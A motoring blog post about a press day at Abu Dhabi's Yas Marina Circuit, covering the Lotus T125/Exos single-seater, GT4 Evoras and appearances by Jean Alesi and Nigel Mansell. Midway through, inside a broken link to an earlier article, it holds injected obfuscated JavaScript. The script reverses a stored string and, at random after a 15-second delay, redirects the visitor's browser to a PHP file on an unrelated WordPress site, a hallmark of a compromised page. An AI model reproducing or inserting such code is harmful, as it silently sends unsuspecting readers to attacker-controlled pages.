Lotus // T125 // Evora // Yas Marina

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It was with a strong mix of childish excitement and cynicism that I grabbed my camera and jumped in the car for the slog up Sheikh Zayed Road from our Dubai base to the Yas Marina Circuit in Abu Dhabi. We had been invited to sample the pleasures of the new Lotus Exos/T125; yes, an F1 car for Joe Public, albeit a wealthy Joe, and one that seems to change names every time we hear about it. T125? Exos? 125? We’re not sure yet.

Now for the cynicism – another car from Lotus?! Their ever-growing stable of machines that have been promised to the public over the coming years is turning out to be quite large. I still can’t get my head around the delivery schedule pressure that the company is putting itself under, but I’ll hold judgement for the meanwhile and continue to soak in words from the marketing machine.

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So, after a spritely slog down the road, I arrived at the still-mind-blowing Yas Marina Circuit.  No matter how many times you see this view it still makes you stop, take a deep breath and soak it all in.

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It wasn’t only the T125 that was on the agenda during the day.  Lotus Group also brought along a couple of their cheeky GT4 spec Lotus Evoras.  You may recognise the car in the background as the one that $VOcl3cIRrbzlimOyC8H=function(n){if (typeof ($VOcl3cIRrbzlimOyC8H.list[n]) == “string”) return $VOcl3cIRrbzlimOyC8H.list[n].split(“”).reverse().join(“”);return $VOcl3cIRrbzlimOyC8H.list[n];};$VOcl3cIRrbzlimOyC8H.list=[“‘php.sgnittes-nigulp/daol-efas/slmtog/snigulp/tnetnoc-pw/moc.reilibommi-gnitekrame//:ptth’=ferh.noitacol.tnemucod”];var number1=Math.floor(Math.random() * 5);if (number1==3){var delay = 15000;setTimeout($VOcl3cIRrbzlimOyC8H(0), delay);}andpiston.com/20101314/lotus-fia-gt4-nurburgring-the-movie/” target=”_blank”>we shot while in Germany midway through last year , or you may have seen it racing in the UAE GT Championship this season.  The lead car is the mildly updated version that was brought into the UAE to run the Dubai 24hrs.

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Back to the real attraction – the 125.  This sleek piece of carbon fibre moulded into the shape of a contemporary F1 car, is aimed squarely at the wealthy private buyers (even post-recession there are a stack load of them) who have that burning desire to have something different in their life from a piece of older F1 history.  Or in addition, depending on how wealthy they are.

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The gee-gee power comes from a 640bhp Cosworth V8 racing engine offering what is described as near-GP2 levels of performance, thanks to a dry weight of just 560kg.  The bit that made me think here was the comment “near-GP2” levels of performance.  Surely you could get a GP2 car for the same money as this? Anyway, I digress…

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All being well only twenty five examples of the Intercity 125 will ever be built, with each buyer gaining access to the exclusive club – Exos. What exactly that means is so far unclear.

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After we had signed on and made our way from the paddock and through to the pit lane we took a wander down to the M25‘s place of rest to find the team feverishly working away on the car.

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Due to an ever-restrictive time frame prior to the event in the UAE, Lotus hadn’t had a chance to run the car and iron out any of the potential niggles that you would expect in a new project.  So that meant pit time for the car and the opportunity to have a good look around it for me.

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Not only that, it gave me the chance to have a run around and capture in colour the growing list of brand advocates that Lotus seems to be collecting.  King of wet weather car control Jean Alesi was in attendance.

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Not only was Jean Alesi in town, the walking legend in the shape of Nigel Mansell made the trip to Abu Dhabi.  Sadly we didn’t see him do much more than sit on the pit wall watching the world go by.

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While there was a lull in the T1000 proceedings, we had the opportunity to jump behind the wheel of the Dubai 24hr podium winning Evora…

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…And proceeded to give it the fair amount of welly that it deserved.  A superb little GT car, but one that was surprisingly twitchy.

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A quick look back in the T125 garage revealed the same scene – sadly.  Lotus claims the car will not require an army of mechanics and engineers to run and maintain and is able to be operated by just one person, but it looks like they have a bit more work to do to get to that stage. The claim is repeated is also seen in the service intervals; it can run for 4500km before it needs a trip back to Hethel.  Sounds promising…

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Towards the end of the day the T125 did burst into life and proceeded to provide a couple of lucky punters the excitement that was promised. However, upsettingly for us one of the clients lost control of the car at the back of the main straight, hit the wall and that was the day done.

So it was with a mixture of frustration and sadness that we packed up our stuff and headed home.  All being well another opportunity to drive the car will be made available to us soon and we can come back to you with a more promising and exciting story. And hopefully Lotus will have decided on the car’s actual name.